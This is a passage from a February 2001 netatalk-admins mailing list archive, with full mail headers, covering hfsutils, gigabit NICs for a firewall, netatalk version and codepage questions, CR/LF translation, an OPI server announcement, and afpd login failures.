       hdir - display an HFS directory in long format
       hformat - create a new HFS filesystem and make it current
       hls - list files in an HFS directory
       hmkdir - create a new HFS directory
       hmount - introduce a new HFS volume and make it current
       hpwd - print the full path to the current HFS working directory
       hrename - rename or move an HFS file or directory
       hrmdir - remove an empty HFS directory
       humount - remove an HFS volume from the list of known volumes
       hvol - display or change the current HFS volume
 
       hfssh - Tcl interpreter with HFS extensions
 
       hfs - shell for manipulating HFS volumes
       xhfs - graphical interface for manipulating HFS volumes

This is also available for linux.

But with that you cannot really mount a HFS volume into your filesystem.
"hmount" rather means: remember in a text file that on device (partition) /dev/<somewhat>
there is a volume called <volume-name>.
"hcd" means: remember, you last visit <directory> on last volume (you have separate working dirs on
each of the "mounted" volumes).
Etc.
You ALWAYS access the HFS volumes DIRECTLY via the hfsutils (raw i/o on the device).

Since the Mac volume isn't really mounted at some mount point, afpd will never see it.
These utils are solely designed to access Mac HFS volumes via commandline (or wrappers).

I just remember:
The utils mdir, mcopy, etc are the mess-dos pendants for that.
I never had to deal with them. :-)

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Mon Feb  5 04:04:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA05725
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 04:04:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA15459
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 04:04:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA15455
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 04:04:04 -0500 (EST)
Received: from cn5.basingstoke.net ([62.172.32.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA15448
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 04:04:03 -0500 (EST)
Received: from webtechniques.co.uk (PROXY.basingstoke.net [62.172.35.140])
          by cn5.basingstoke.net (Post.Office MTA v3.5.3 release 223
          ID# 635-66099U2000L200S0V35) with SMTP id net
          for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 09:07:14 +0000
Received: from webpc1 ([192.168.1.2]) by webtechniques.co.uk
          with SMTP (Mailtraq/1.1.4.1073) id WBTC6257397C2
          for netatalk-admins@umich.edu; Mon, 05 Feb 2001 09:16:05 -0000
Reply-To: <mike@webtechniques.co.uk>
From: "Mike Gibbs" <mike@webtechniques.co.uk>
To: <netatalk-admins@umich.edu>
Subject: unsubscribe
Date: Mon, 5 Feb 2001 09:10:52 -0000
Message-ID: <NDBBJINGPKHPMIHKCENAOEKECGAA.mike@webtechniques.co.uk>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Hops: 1





From netatalk.administrators-errors@umich.edu  Mon Feb  5 05:31:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07214
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 05:31:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA13052
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 05:31:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA13041
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 05:31:19 -0500 (EST)
Received: from www21.gmx.net (www21.gmx.net [213.165.64.71])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id FAA13017
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 05:31:18 -0500 (EST)
From: grobe@gmx.net
Received: (qmail 23604 invoked by uid 0); 5 Feb 2001 10:31:17 -0000
Date: Mon, 5 Feb 2001 11:31:17 +0100 (MET)
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Subject: 1-gigabit-router for netatalk?
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0000290134@gmx.net
X-Authenticated-IP: [130.83.244.129]
Message-ID: <23567.981369077@www21.gmx.net>
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hi there,

I have a question concerning networking in general and in this special case
netatalk.

We will split our network (about 100 clients, 80 are macs, and all are
getting data from a linux server) into 2 parts: one secure (for "service" and
backup) which isn't reachable from the internet, one open (the pool for the
students), which can be seen from the outside and takes the fileserver, which can
be accessed via ftp, smb and netatalk from the outside. These two parts are
linked by a machine which has two 1-GB-nics (to get full speed between the
switches of the two parts) and also acts as a firewall to the internet as well
as between the two network parts (as we don't want our users to access large
format printers in the closed network).

So, I would like to hear your opinion if this configuration will be ok in
general (does the firewall, which is only filtering, not masquerading, take a
lot of cpu-power? will a 200mhz-pentiumpro be ok?) and with netatalk, which
isn't very tolerant in bad network configurations, as far as I know. We need
stable connections from our clients to the server, as we have a lot of very big
files in use. So, is any body using something like this router/firewall with
1Gigabit and netatalk, or should we better take something prebuilt?

BTW: we think 3com-Gigabits are ok, any experiences with them and netatalk?

Thank you for your help, CU, Lars.

-- 
Sent through GMX FreeMail - http://www.gmx.net


From netatalk.administrators-errors@umich.edu  Mon Feb  5 05:35:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07265
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 05:35:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA17885
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 05:35:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA17870
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 05:35:31 -0500 (EST)
Received: from www21.gmx.net (www21.gmx.net [213.165.64.71])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id FAA17839
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 05:35:29 -0500 (EST)
From: grobe@gmx.net
Received: (qmail 3453 invoked by uid 0); 5 Feb 2001 10:35:11 -0000
Date: Mon, 5 Feb 2001 11:35:11 +0100 (MET)
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Subject: which version (with codepages)?
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0000290134@gmx.net
X-Authenticated-IP: [130.83.244.129]
Message-ID: <3437.981369311@www21.gmx.net>
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hi,

as I want to recompile my netatalk to support encrypted passwords, I would
like to ask which version is good for use (not for testing). I remember that
tere was one version not supporting codepages (I think asun's pre39), so
should I use pre38 or pre37? Yes, we are using Quark, and many users still work
over the net ;-)

BTW: I dind't install the 1.5pres because of reports that files have been
disappearing, codepages not working etc. So, these versions are still not
stable?

Thank you, CU, Lars.

-- 
Sent through GMX FreeMail - http://www.gmx.net


From netatalk.administrators-errors@umich.edu  Mon Feb  5 08:34:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA09717
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 08:34:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA16615
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 08:34:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA16612
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 08:34:18 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA16600
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 08:34:17 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f15DVtr29150;
	Mon, 5 Feb 2001 08:31:56 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A7EAB3F.44EF429C@mail.iowna.com>
Date: Mon, 05 Feb 2001 08:31:44 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
CC: Kevin Shrieve <kevin@lumiere.net>, netatalk-admins@umich.edu
Subject: Re: my Mac sees much less hard drive space
References: <v04220801b6a3c29a37e4@[10.11.12.51]> <5.0.2.1.0.20010204210127.00a504e0@127.0.0.1>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I've got a client running with the asun patches and we've had no
problems.
I believe that the asun patches were the basis of version 1.5. Of
course, more has been added since then, but the 1.5 tree is still
"prerelease".
If you've got time to play, try both.

-Bill

"Marc J. Miller" wrote:
> 
> The asun patches do something with the 2GB barrier, but version 1.5 of
> netatalk/etc/afpd/unix.c also claims to be a fix for that.  I'm not sure
> the asun patches will be enough.
> 
> At 11:09 PM 2/4/01 -0500, Bill Moran wrote:
> >Kevin Shrieve wrote:
> > >
> > > We've installed netatalk-1.4b2 on a FreeBSD 4.2-20001121-BETA system.
> > >
> > > A 20G shared partition displays as 1.6G from a Mac OS 9.04 machine.
> > > All 20G are available from a Win 98 machine.
> > >
> > > I see a mention of this in the archives from August.  Has this
> > > problem been resolved?  If not, are there workaround strategies?
> > > Surely this is not what most netatalk users encounter, eh?
> >
> >Install the version of Netatalk with the asun patches (available as a
> >package). It fixes that problem as well as others.
> >
> >-Bill

From netatalk.administrators-errors@umich.edu  Mon Feb  5 12:04:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA15319
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 12:04:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05139
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 12:04:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05083
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 12:04:05 -0500 (EST)
Received: from enschede.dhs.org (cc56962-a.ensch1.ov.nl.home.com [212.204.167.144])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA05021
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 12:04:02 -0500 (EST)
From: vgb@enschede.dhs.org
Received: (from lp@localhost)
	by enschede.dhs.org (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) id f15H42l09327;
	Mon, 5 Feb 2001 18:04:02 +0100
X-Authentication-Warning: enschede.dhs.org: lp set sender to vgb@enschede.dhs.org using -f
To: grobe@gmx.net, Netatalk Admins <netatalk-admins@umich.edu>
Subject: Re: 1-gigabit-router for netatalk?
Message-ID: <981392605.3a7edcdd14b1a@Kanarie>
Date: Mon, 05 Feb 2001 18:03:25 +0100 (CET)
References: <23567.981369077@www21.gmx.net>
In-Reply-To: <23567.981369077@www21.gmx.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.3
X-Originating-IP: 192.168.0.1

> Hi there,
> 
> I have a question concerning networking in
> general and in this special case
> netatalk.
> 
> We will split our network (about 100 clients, 80
> are macs, and all are
> getting data from a linux server) into 2 parts:
> one secure (for "service" and
> backup) which isn't reachable from the internet,
> one open (the pool for the
> students), which can be seen from the outside
> and takes the fileserver, which can
> be accessed via ftp, smb and netatalk from the
> outside. These two parts are
> linked by a machine which has two 1-GB-nics (to
> get full speed between the
> switches of the two parts) and also acts as a
> firewall to the internet as well
> as between the two network parts (as we don't
> want our users to access large
> format printers in the closed network).
> 
> So, I would like to hear your opinion if this
> configuration will be ok in
> general (does the firewall, which is only
> filtering, not masquerading, take a
> lot of cpu-power? will a 200mhz-pentiumpro be
> ok?) and with netatalk, which
> isn't very tolerant in bad network
> configurations, as far as I know. We need
> stable connections from our clients to the
> server, as we have a lot of very big
> files in use. So, is any body using something
> like this router/firewall with
> 1Gigabit and netatalk, or should we better take
> something prebuilt?
> 
> BTW: we think 3com-Gigabits are ok, any
> experiences with them and netatalk?
> 
> Thank you for your help, CU, Lars.

After a lot af testing I would not recommend the 3Com 
3C985 Gigabit Nic because it is a expensive and not a 
very fast Nic, after a reboot (as is needed to test a 
machine before selling it :)) almost every second time 
the card failed with seg-faults.

We now are using Level-One or Intel Gigabit ethernics 
and are satisfied with these but this is only one 
opinion. I would like to know if there are other people 
who engaged the same problems,

Vincent

From netatalk.administrators-errors@umich.edu  Mon Feb  5 12:17:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA15649
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 12:17:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25833
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 12:17:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25818
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 12:17:30 -0500 (EST)
Received: from kanguruh.ebios.de (kanguruh.ebios.de [195.126.148.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA25716
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 12:17:26 -0500 (EST)
Received: (from vb@localhost)
	by kanguruh.ebios.de (8.11.0/8.8.8) id f15HHKx23405
	for netatalk-admins@umich.edu; Mon, 5 Feb 2001 18:17:20 +0100
From: Volker Birk <vb@kanguruh.ebios.de>
Date: Mon, 5 Feb 2001 18:17:19 +0100
To: netatalk-admins@umich.edu
Subject: OPI Server ready
Message-ID: <20010205181719.A22795@ebios.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.13i

Hello,

some two years ago I announced that we will develop an OPI server which
then will be offered under the GPL.

Now it's ready. And it's an Open Project.

If someone is interested in, she/he can read something about it on

http://opi3.ebios.de

Yours,
Volker Birk
-- 
*** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more beer
*** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was good!
*** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _

From netatalk.administrators-errors@umich.edu  Mon Feb  5 12:27:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA15880
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 12:27:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29358
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 12:27:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29342
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 12:27:49 -0500 (EST)
Received: from mail.greatbasin.net (mail.greatbasin.net [207.228.35.39])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA29325
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 12:27:48 -0500 (EST)
Received: from [172.16.1.6] (rno-dsl0b-131.gbis.net [216.82.145.131])
	by mail.greatbasin.net (8.9.3-MySQL-0.2.3b/8.9.3) with ESMTP id JAA06163
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 09:27:54 -0800 (PST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 05 Feb 2001 09:27:57 -0800
Subject: Re: CRLF fun stuff again...
From: Jeremy Buchmann <jeremy@wellsgaming.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6A4229C.FD8%jeremy@wellsgaming.com>
In-Reply-To: <v03130300b6a151cfb618@[209.46.8.69]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


>> Jeremy writes:
>>> Hello,
>>> I have just installed netatalk 1.4b2 and cannot get it to do the
>>> CRLF->LF translation when copying files from a Mac to my Linux machine.
>> 
>>> ...
>> 
>>> The files I copy over are text files with the .txt extension generated by
>>> Visual FoxPro (FOXX).  Any ideas?
>> 
>> This is (as far as I'm concerned) the single biggest bug in netatalk.
>> 
>> The problem is that the cr/lf translation only happens when netatalk
>> sees that the file is text before it is written.  Unfortunately, since
>> MacOS 8, the Finder doesn't set the file type to TEXT until after the
>> copy is finished.  Thus no cr/lf conversion.
>> 
>> etc...
> 
> There has been a lot of discussion of the CR/LF translations on this list.
> 
> If I may add my two cents, I think it's a bad idea for the filesystem to
> effectively blindly fondle and convert the data.  There are plenty of tools
> out there, like bbedit, that handle text files regardless of how their
> line endings are done.
> 
> The downside of a problem with the CR/LF "feature" is irretrievably corrupted
> data.  What you get for this is arguably a minor "convenience".
> 
> I think it's a bad trade.

Not for me.  Here, we would only be copying text files, so I would like the
option to blindly convert all files whether netatalk thinks they are text or
not.  After all, who knows better, netatalk or me?  If we can't blindly
convert, we'll just have to stick to fetch.  Oh well.

--Jeremy


From netatalk.administrators-errors@umich.edu  Mon Feb  5 12:38:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA16607
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 12:38:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05640
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 12:38:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05611
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 12:38:05 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA05564
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 12:38:04 -0500 (EST)
Received: (qmail 17100 invoked by uid 500); 5 Feb 2001 17:38:15 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 5 Feb 2001 17:38:15 -0000
Date: Mon, 5 Feb 2001 11:38:15 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Volker Birk <vb@kanguruh.ebios.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: OPI Server ready
In-Reply-To: <20010205181719.A22795@ebios.de>
Message-ID: <Pine.LNX.4.30.0102051138070.17088-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

What is OPI?

-Dan

On Mon, 5 Feb 2001, Volker Birk wrote:

> Hello,
>
> some two years ago I announced that we will develop an OPI server which
> then will be offered under the GPL.
>
> Now it's ready. And it's an Open Project.
>
> If someone is interested in, she/he can read something about it on
>
> http://opi3.ebios.de
>
> Yours,
> Volker Birk
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Mon Feb  5 13:14:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA17816
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 13:14:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25106
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 13:14:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25088
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 13:14:48 -0500 (EST)
Received: from femail9.sdc1.sfba.home.com (femail9.sdc1.sfba.home.com [24.0.95.89])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA24928
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 13:14:42 -0500 (EST)
Received: from [192.168.0.27] ([24.7.223.67]) by femail9.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010205181447.CZSE20293.femail9.sdc1.sfba.home.com@[192.168.0.27]>
          for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 10:14:47 -0800
Mime-Version: 1.0
X-Sender: ralph99@mail.voicenet.com
Message-Id: <v04210101b6a499aef916@[192.168.0.27]>
Date: Mon, 5 Feb 2001 13:14:53 -0500
To: netatalk-admins@umich.edu
From: Ralph Dratman <ralph@maxsoft.com>
Subject: Building 1.5pre3 for FreeBSD
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hello.

I am using FreeBSD 3.3 and have Netatalk 4.2 working.
Mostly it seems fine. However, there is a problem with certain
directories when brought up on a Mac. At first there are many items,
then the items "flicker" and mostly disappear, leaving only a few
folders and a file called "[".

I mentioned this on a FreeBSD list and someone said he'd seen a
similar problem and suggested I install the latest version of
Netatalk. I downloaded 1.5pre3 and tried to follow the build
instructions from the README, which go like this:

	1.  Set DESTDIR in the root Makefile.  DESTDIR is the directory below
	    which all binaries will be installed.  Setting it causes all
	    installation-relative pathnames to be set correctly...

	2.  When you've completed the configuration, type "make" at the root of
	    the source.  This will make all binaries.

	...

I looked for Makefile and found instead Makefile.am and Makefile.in.
Makefile.am contained a line

	DESTDIR =

which I changed to

	DESTDIR = /usr/local/

(Was this correct? Or should I have omitted the trailing slash?).

Then I typed "make" and got back

	make: no target to make.

Question: What did I do wrong and what should I do now?

Thank you.

Regards,

Ralph Dratman

From netatalk.administrators-errors@umich.edu  Mon Feb  5 13:17:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18009
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 13:17:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12614
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 13:17:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12596
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 13:17:42 -0500 (EST)
Received: from smtp.sfinteractive.com (smtp.sfinteractive.com [63.110.230.16])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA12577
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 13:17:40 -0500 (EST)
Received: from localhost (matisse@localhost)
	by smtp.sfinteractive.com (8.9.3/8.9.3) with ESMTP id KAA30577
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 10:17:34 -0800
X-Authentication-Warning: smtp.sfinteractive.com: matisse owned process doing -bs
Date: Mon, 5 Feb 2001 10:17:34 -0800 (PST)
From: Matisse Enzer <matisse@matisse.net>
X-Sender: matisse@smtp.sfinteractive.com
To: netatalk-admins@umich.edu
Subject: Guest users OK, real users can't get in
Message-ID: <Pine.LNX.4.10.10102051005110.29769-100000@smtp.sfinteractive.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi folks,

I've just installed netatalk v1.5

OS:        RedHat linux 6.1 system  (kernal: 2.2.12-20smp)
Compiler:  egcs-2.91.66
openssl:   0.9.6

I enabled shadow passwords by adding   -DSHADOWPW   to  the CFLAGS in
etc/afpd/Makefile


I can connect fine as a guest, and read and write to the one default
volume as a Guest (try it yourself:  64.2.37.200 )

Please Help ..... ;-)


When I try and login from a Mac as a real user th Mac dialog box says the
password is incorrect.   /var/log/messages on the linux box shows:

Feb  5 09:40:21 localhost afpd[16302]: ASIP session:548(1) from
64.161.158.2:52687(2)
Feb  5 09:40:21 localhost afpd[16302]: dhx login: matisse  
Feb  5 09:40:22 localhost afpd[16302]: 0.18KB read, 0.13KB written
Feb  5 09:40:22 localhost afpd[16244]: server_child[1] 16302 done   


Here's a chucnk of the log file, from afpd start up through trying to
conect as a "real" user, and then as a guest:



Feb  5 08:27:07 localhost papd[16222]: restart (1.5)
Feb  5 08:27:07 localhost atalk: papd startup succeeded
Feb  5 08:27:07 localhost atalk: timelord startup succeeded
Feb  5 08:27:08 localhost atalk: afpd startup succeeded
Feb  5 08:27:13 localhost timelord[16233]: playroom:TimeLord started
Feb  5 08:27:14 localhost afpd[16244]: playroom:AFPServer@* started on
65280.153:130 (1.5)
Feb  5 08:27:14 localhost afpd[16244]: ASIP started on 127.0.0.1:548(1)
(1.5)
Feb  5 08:27:14 localhost afpd[16244]: uam: uams_guest.so loaded
Feb  5 08:27:14 localhost afpd[16244]: uam: uams_clrtxt.so loaded
Feb  5 08:27:14 localhost afpd[16244]: uam: uams_dhx.so loaded
Feb  5 08:27:14 localhost afpd[16244]: uam: "DHCAST128" available
Feb  5 08:27:14 localhost afpd[16244]: uam: "Cleartxt Passwrd" available
Feb  5 08:27:14 localhost afpd[16244]: uam: "No User Authent" available
Feb  5 08:28:08 localhost PAM_pwdb[5773]: (su) session closed for user
root

# attempt as a real user:

Feb  5 09:40:15 localhost afpd[16301]: ASIP session:548(1) from
64.161.158.2:52619(2)
Feb  5 09:40:15 localhost afpd[16244]: server_child[1] 16301 done
Feb  5 09:40:21 localhost afpd[16302]: ASIP session:548(1) from
64.161.158.2:52687(2)
Feb  5 09:40:21 localhost afpd[16302]: dhx login: matisse
Feb  5 09:40:22 localhost afpd[16302]: 0.18KB read, 0.13KB written
Feb  5 09:40:22 localhost afpd[16244]: server_child[1] 16302 done

# attempt as a guest:

Feb  5 10:18:54 localhost afpd[16481]: ASIP session:548(1) from
64.161.158.2:42497(2)
Feb  5 10:18:54 localhost afpd[16471]: server_child[1] 16481 done
Feb  5 10:18:57 localhost afpd[16482]: ASIP session:548(1) from
64.161.158.2:42523(2)
Feb  5 10:18:57 localhost afpd[16482]: login noauth
Feb  5 10:18:57 localhost afpd[16482]: login nobody (uid 99, gid 99)


From netatalk.administrators-errors@umich.edu  Mon Feb  5 13:31:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18336
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 13:31:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA05953
